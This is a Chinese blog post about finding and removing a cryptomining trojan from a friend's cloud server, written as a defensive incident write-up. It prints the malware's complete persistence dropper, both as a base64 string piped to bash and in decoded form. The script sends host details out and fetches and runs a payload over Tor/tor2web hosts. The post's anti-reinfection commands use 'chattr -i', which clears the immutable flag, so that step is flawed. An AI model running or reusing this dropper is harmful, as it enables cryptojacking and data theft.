记一次帮师兄解决服务器挖矿木马的过程

背景

最近师兄找到我，说他的服务器似乎被挂了挖矿木马，cpu占用率居高不下，网站（个人博客）也看起来像是被挂马了，这篇博客打算详细记录一下这次和挖矿木马斗争的过程

现象

首先是某云服务器控制台给出了性能受限警告

分析：师兄的服务器看起来貌似就只挂了个网站，一个mysql数据库，不至于遇到性能受限的情况，因此CPU持续的被占用这么高的情况，十有八九中了挖矿木马
然后是网站（个人博客）无法访问

分析：这张图片看起来像阿里cdn禁止访问的图片，因此分析应该是套了一层cdn，禁止直接使用ip访问，后期经过验证，果然如此，使用域名是可以访问的，但是出现了css样式加载不出来的问题，我猜大概率是因为https证书过期了，一些内容无法经过cdn加载出来，希望师兄尽快去处理一下

进一步分析

经过上面的分析，网站挂马应该是不存在的，不过也不排除是网站漏洞导致反弹了shell，从而被挂上木马的（建议师兄仔细看一下后台有没有鉴权或者未授权访问漏洞以及远程代码执行漏洞，尤其是文件上传的接口部分，更要仔细排查），为什么我会得出这样的结论呢？因为我把他的网站源码down了下来，使用某web扫描引擎，扫描了一遍，结论是没有发现明显的木马，我自己也大概的扫了一下，确实是没有明显的跳转到其他链接和其他比较明显的木马文件之类的。所以，接下来就只剩这个疑似中了挖矿木马的情况了

破局

定位木马

首先使用top命令，查看一下当前的CPU占用情况

可以看到aLZmFuXY这个进程一直在占用着CPU的资源，很明显就是罪魁祸首

于是尝试，全局搜索一下看看，执行

1	find / -iname aLZmFuXY

好吧，看来不是这么明显的，什么都没有搜到

然后，尝试直接kill掉这个进程试试，先执行

1	ps -ef \| grep aLZmFuXY

定位到进程，然后执行

1	kill -9 6283

尝试杀掉进程，没想到，直接断开了ssh连接，看来这个木马还有点顽固，猜想肯定有某种重启或者定时执行的机制

于是，重新蓝（连）上ssh，再次查看CPU使用情况

果不其然，它（aLZmFuXY）又回来（自动启动）了

现在我们尝试去搞懂木马的启动机制，经过上面的分析和实验，我们可以知道，这个挖矿的木马程序应该是有自启动和重启机制的，于是，我们可以从这里入手，使用

1	crontab -l

查看所有的定时任务，发现只有一个/root/.systemd-service.sh，那铁定就是它在捣鬼，等等，好像有什么细节被我们忽略了？？？想不起来，先放一下（其实是在top命令的执行结果那里，捣蛋鬼systemd总是和我们的木马进程aLZmFuXY一起出现的）

现在我们来看一下，这个捣蛋鬼脚本到底写了什么，执行

1	cat /root/.systemd-service.sh

发现是一堆base64编码之后的脚本，我们尝试解码看看

nP8byPUGOwKjVfPZZsp5octdXHTWGyPqgVeY82zV1de6AY0ydAtgEGmo+JaumEfV
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "wvzyv2nptjuxcqoibeklxese46j4uonzaapwyl6wvhdknjlqlcoeu7id")

sockz() {
n=(doh.defaultroutes.de dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh.centraleu.pi-dns.com doh.dns.sb doh-fi.blahdns.com fi.doh.dns.snopyta.org dns.flatuslifir.is doh.li dns.digitale-gesellschaft.ch)
p=$(echo "dns-query?name=relay.tor2socks.in")
s=$($c https://${n[$((RANDOM%10))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|head -n 1)
}

fexe() {
for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}

u() {
sockz
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
chmod +x $x;$x;rm -f $x
}

for h in tor2web.in tor2web.it onion.foundation onion.com.de onion.sh tor2web.su 
do
if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then
fexe;u $t.$h
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h)
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h)
else
break
fi
done

好了，有了源代码的佐证，现在我们终于可以确定，这个捣蛋鬼就是一个活生生的挖矿木马，别问我怎么确定的（tor2web都出来了，这还不够明显吗？？？）

附上源文件：

#!/bin/bash
exec &>/dev/null
echo nP8byPUGOwKjVfPZZsp5octdXHTWGyPqgVeY82zV1de6AY0ydAtgEGmo+JaumEfV
echo blA4YnlQVUdPd0tqVmZQWlpzcDVvY3RkWEhUV0d5UHFnVmVZODJ6VjFkZTZBWTB5ZEF0Z0VHbW8rSmF1bUVmVgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICJ3dnp5djJucHRqdXhjcW9pYmVrbHhlc2U0Nmo0dW9uemFhcHd5bDZ3dmhka25qbHFsY29ldTdpZCIpCgpzb2NreigpIHsKbj0oZG9oLmRlZmF1bHRyb3V0ZXMuZGUgZG5zLmhvc3R1eC5uZXQgdW5jZW5zb3JlZC5sdXgxLmRucy5uaXhuZXQueHl6IGRucy5ydWJ5ZmlzaC5jbiBkbnMudHduaWMudHcgZG9oLmNlbnRyYWxldS5waS1kbnMuY29tIGRvaC5kbnMuc2IgZG9oLWZpLmJsYWhkbnMuY29tIGZpLmRvaC5kbnMuc25vcHl0YS5vcmcgZG5zLmZsYXR1c2xpZmlyLmlzIGRvaC5saSBkbnMuZGlnaXRhbGUtZ2VzZWxsc2NoYWZ0LmNoKQpwPSQoZWNobyAiZG5zLXF1ZXJ5P25hbWU9cmVsYXkudG9yMnNvY2tzLmluIikKcz0kKCRjIGh0dHBzOi8vJHtuWyQoKFJBTkRPTSUxMCkpXX0vJHAgfCBncmVwIC1vRSAiXGIoWzAtOV17MSwzfVwuKXszfVswLTldezEsM31cYiIgfHRyICcgJyAnXG4nfGdyZXAgLUV2IFsuXTB8c29ydCAtdVJ8aGVhZCAtbiAxKQp9CgpmZXhlKCkgewpmb3IgaSBpbiAuICRIT01FIC91c3IvYmluICRkIC92YXIvdG1wIDtkbyBlY2hvIGV4aXQgPiAkaS9pICYmIGNobW9kICt4ICRpL2kgJiYgY2QgJGkgJiYgLi9pICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp9Cgp1KCkgewpzb2NregpmPS9pbnQuJCh1bmFtZSAtbSkKeD0uLyQoZGF0ZXxtZDVzdW18Y3V0IC1mMSAtZC0pCnI9JChjdXJsIC00ZnNTTGsgY2hlY2tpcC5hbWF6b25hd3MuY29tfHxjdXJsIC00ZnNTTGsgaXAuc2IpXyQod2hvYW1pKV8kKHVuYW1lIC1tKV8kKHVuYW1lIC1uKV8kKGlwIGF8Z3JlcCAnaW5ldCAnfGF3ayB7J3ByaW50ICQyJ318bWQ1c3VtfGF3ayB7J3ByaW50ICQxJ30pXyQoY3JvbnRhYiAtbHxiYXNlNjQgLXcwKQokYyAteCBzb2NrczVoOi8vJHM6OTA1MCAkdC5vbmlvbiRmIC1vJHggLWUkciB8fCAkYyAkMSRmIC1vJHggLWUkcgpjaG1vZCAreCAkeDskeDtybSAtZiAkeAp9Cgpmb3IgaCBpbiB0b3Iyd2ViLmluIHRvcjJ3ZWIuaXQgb25pb24uZm91bmRhdGlvbiBvbmlvbi5jb20uZGUgb25pb24uc2ggdG9yMndlYi5zdSAKZG8KaWYgISBscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzOyB0aGVuCmZleGU7dSAkdC4kaApscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvdG1wO3UgJHQuJGgpCmxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXMgfHwgKGNkIC9kZXYvc2htO3UgJHQuJGgpCmVsc2UKYnJlYWsKZmkKZG9uZQo=|base64 -d|bash

现在我们来仔细分析一下/root/.systemd-service.sh这个文件的内容（当然是解码之后的内容啦，没解码谁看得懂。。。），不过，要说声抱歉的是，shell我也不懂，就看懂个大概吧（大佬勿喷），大概就是监测挖矿进程是否在线，在线就一直连接socket，一直挖，一直挖，不在线就利用守护进程去启动它，然后还是一直挖，一直挖，一直挖。。。着实有点过分，怪不得那么吃资源，这简直丧心病狂。不得不提的是，脚本中有一个目录很值得我们注意一下，就是/tmp/.X11-unix/，这个就是挖矿进程和守护进程所在的地方，我们去看一下，执行

1	ls -la /tmp/.X11-unix/

可以看到，有三个文件，查看这三个文件（01、11、22）的内容可以看到是几个数字，功能如下：

01文件存放木马守护进程pid
11文件存放木马运行进程pid
22为一个空文件，功能暂时不清楚

分析就到这里了，下面是解决木马篇

干掉木马

为了防止分析过程有所疏忽，有必要再次进行一下全局搜索，执行

1 2	find / -iname systemd-service.sh find / -iname .systemd-service.sh

果然，我们有所遗漏，/opt/systemd-service.sh这就是我们之前没有发现的，现在我们来看一下它又是什么，执行

1	cat /opt/systemd-service.sh

好吧，又是一个base64编码之后的东西，看起来，套路都一样呢？惊得我直呼一声好家伙

源文件：

#!/bin/bash
exec &>/dev/null
echo nP8byPUGOwKjVfPZZsp5octdXHTWGyPqgVeY82zV1de6AY0ydAtgEGmo+JaumEfV
echo blA4YnlQVUdPd0tqVmZQWlpzcDVvY3RkWEhUV0d5UHFnVmVZODJ6VjFkZTZBWTB5ZEF0Z0VHbW8rSmF1bUVmVgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICJ3dnp5djJucHRqdXhjcW9pYmVrbHhlc2U0Nmo0dW9uemFhcHd5bDZ3dmhka25qbHFsY29ldTdpZCIpCgpzb2NreigpIHsKbj0oZG9oLmRlZmF1bHRyb3V0ZXMuZGUgZG5zLmhvc3R1eC5uZXQgdW5jZW5zb3JlZC5sdXgxLmRucy5uaXhuZXQueHl6IGRucy5ydWJ5ZmlzaC5jbiBkbnMudHduaWMudHcgZG9oLmNlbnRyYWxldS5waS1kbnMuY29tIGRvaC5kbnMuc2IgZG9oLWZpLmJsYWhkbnMuY29tIGZpLmRvaC5kbnMuc25vcHl0YS5vcmcgZG5zLmZsYXR1c2xpZmlyLmlzIGRvaC5saSBkbnMuZGlnaXRhbGUtZ2VzZWxsc2NoYWZ0LmNoKQpwPSQoZWNobyAiZG5zLXF1ZXJ5P25hbWU9cmVsYXkudG9yMnNvY2tzLmluIikKcz0kKCRjIGh0dHBzOi8vJHtuWyQoKFJBTkRPTSUxMCkpXX0vJHAgfCBncmVwIC1vRSAiXGIoWzAtOV17MSwzfVwuKXszfVswLTldezEsM31cYiIgfHRyICcgJyAnXG4nfGdyZXAgLUV2IFsuXTB8c29ydCAtdVJ8aGVhZCAtbiAxKQp9CgpmZXhlKCkgewpmb3IgaSBpbiAuICRIT01FIC91c3IvYmluICRkIC92YXIvdG1wIDtkbyBlY2hvIGV4aXQgPiAkaS9pICYmIGNobW9kICt4ICRpL2kgJiYgY2QgJGkgJiYgLi9pICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp9Cgp1KCkgewpzb2NregpmPS9pbnQuJCh1bmFtZSAtbSkKeD0uLyQoZGF0ZXxtZDVzdW18Y3V0IC1mMSAtZC0pCnI9JChjdXJsIC00ZnNTTGsgY2hlY2tpcC5hbWF6b25hd3MuY29tfHxjdXJsIC00ZnNTTGsgaXAuc2IpXyQod2hvYW1pKV8kKHVuYW1lIC1tKV8kKHVuYW1lIC1uKV8kKGlwIGF8Z3JlcCAnaW5ldCAnfGF3ayB7J3ByaW50ICQyJ318bWQ1c3VtfGF3ayB7J3ByaW50ICQxJ30pXyQoY3JvbnRhYiAtbHxiYXNlNjQgLXcwKQokYyAteCBzb2NrczVoOi8vJHM6OTA1MCAkdC5vbmlvbiRmIC1vJHggLWUkciB8fCAkYyAkMSRmIC1vJHggLWUkcgpjaG1vZCAreCAkeDskeDtybSAtZiAkeAp9Cgpmb3IgaCBpbiB0b3Iyd2ViLmluIHRvcjJ3ZWIuaXQgb25pb24uZm91bmRhdGlvbiBvbmlvbi5jb20uZGUgb25pb24uc2ggdG9yMndlYi5zdSAKZG8KaWYgISBscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzOyB0aGVuCmZleGU7dSAkdC4kaApscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvdG1wO3UgJHQuJGgpCmxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXMgfHwgKGNkIC9kZXYvc2htO3UgJHQuJGgpCmVsc2UKYnJlYWsKZmkKZG9uZQo=|base64 -d|bash

解码之后：

nP8byPUGOwKjVfPZZsp5octdXHTWGyPqgVeY82zV1de6AY0ydAtgEGmo+JaumEfV
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "wvzyv2nptjuxcqoibeklxese46j4uonzaapwyl6wvhdknjlqlcoeu7id")

sockz() {
n=(doh.defaultroutes.de dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh.centraleu.pi-dns.com doh.dns.sb doh-fi.blahdns.com fi.doh.dns.snopyta.org dns.flatuslifir.is doh.li dns.digitale-gesellschaft.ch)
p=$(echo "dns-query?name=relay.tor2socks.in")
s=$($c https://${n[$((RANDOM%10))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|head -n 1)
}

fexe() {
for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}

u() {
sockz
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
chmod +x $x;$x;rm -f $x
}

for h in tor2web.in tor2web.it onion.foundation onion.com.de onion.sh tor2web.su 
do
if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then
fexe;u $t.$h
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h)
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h)
else
break
fi
done

好家伙，不看不知道，一看下一跳，跟之前那个文件一模一样，吓得我又不由自主的说了一句，好家伙

这里补充一点分析：之前我们只是用crontab -l，查看了定时任务，并没有找到定时任务的配置文件，而经验告诉我们，crontab的配置文件，通常在/etc/cron.d/下，还有，如果是root用户，在/var/spool/cron/crontabs/root文件中，于是我们分别执行

1 2	ls -la /etc/cron.d/ cat /var/spool/cron/crontabs/root

果然，看到了熟悉的0systemd-service

我们来看一下，它的内容，执行

1	cat /etc/cron.d/0systemd-service

可以清晰的看到，它在定时的启动挖矿程序

好了，分析真的就到这里为止了，下面是解决木马篇

彻底干掉木马

分析了一大堆，最关键的文件是：

/etc/cron.d/0systemd-service
/var/spool/cron/crontabs/root
/opt/systemd-service.sh
/root/.systemd-service.sh

删掉这几个文件，然后停掉挖矿进程即可

cat /tmp/.X11-unix/01 |xargs kill -9 && cat /tmp/.X11-unix/11 |xargs kill -9 && rm -rf /etc/cron.d/0systemd-service && rm -rf /opt/systemd-service.sh && rm -rf /root/.systemd-service.sh && rm -rf /var/spool/cron/crontabs/root

重启，验证

1	reboot now

后续

根据经验，我们可以知道，挖矿木马，通常还会修改我们的know_hosts文件和hosts文件，所以我们去验证一下，执行

1	cat .ssh/known_hosts

可以看到，果然写了一个公钥到know_hosts文件

可以执行，echo > .ssh/known_hosts，修复它

我们在看一下hosts文件，执行

1	cat /etc/hosts

看起来并没有修改

当然，也可以利用木马的特征，故意的制造一些混淆文件，防止再次感染，当然，也不是绝对有效的，安全与反安全，从来就没有高低之分，有的只是技术人员的能力差别而已

附上防止再次感染的命令

mkdir /etc/cron.d/0systemd-service && chmod 000 /etc/cron.d/0systemd-service && chattr -i /etc/cron.d/0systemd-service &&
mkdir /opt/systemd-service.sh && chmod 000 /opt/systemd-service.sh && chattr -i /opt/systemd-service.sh &&
mkdir /root/.systemd-service.sh && chmod 000 /root/.systemd-service.sh && chattr -i /root/.systemd-service.sh && 
mkdir /var/spool/cron/crontabs/root && chmod 000 /var/spool/cron/crontabs/root && chattr -i /var/spool/cron/crontabs/root

总结：解决挖矿木马，并防止感染，只需要两步：

cat /tmp/.X11-unix/01 |xargs kill -9 && cat /tmp/.X11-unix/11 |xargs kill -9 && rm -rf /etc/cron.d/0systemd-service && rm -rf /opt/systemd-service.sh && rm -rf /root/.systemd-service.sh && rm -rf /var/spool/cron/crontabs/root

mkdir /etc/cron.d/0systemd-service && chmod 000 /etc/cron.d/0systemd-service && chattr -i /etc/cron.d/0systemd-service &&
mkdir /opt/systemd-service.sh && chmod 000 /opt/systemd-service.sh && chattr -i /opt/systemd-service.sh &&
mkdir /root/.systemd-service.sh && chmod 000 /root/.systemd-service.sh && chattr -i /root/.systemd-service.sh && 
mkdir /var/spool/cron/crontabs/root && chmod 000 /var/spool/cron/crontabs/root && chattr -i /var/spool/cron/crontabs/root

本文完。。。看到这里，也说明你很有毅力和探索欲，如果觉得我写的还不错，请打赏支持我，毕竟创作不易，谢谢大家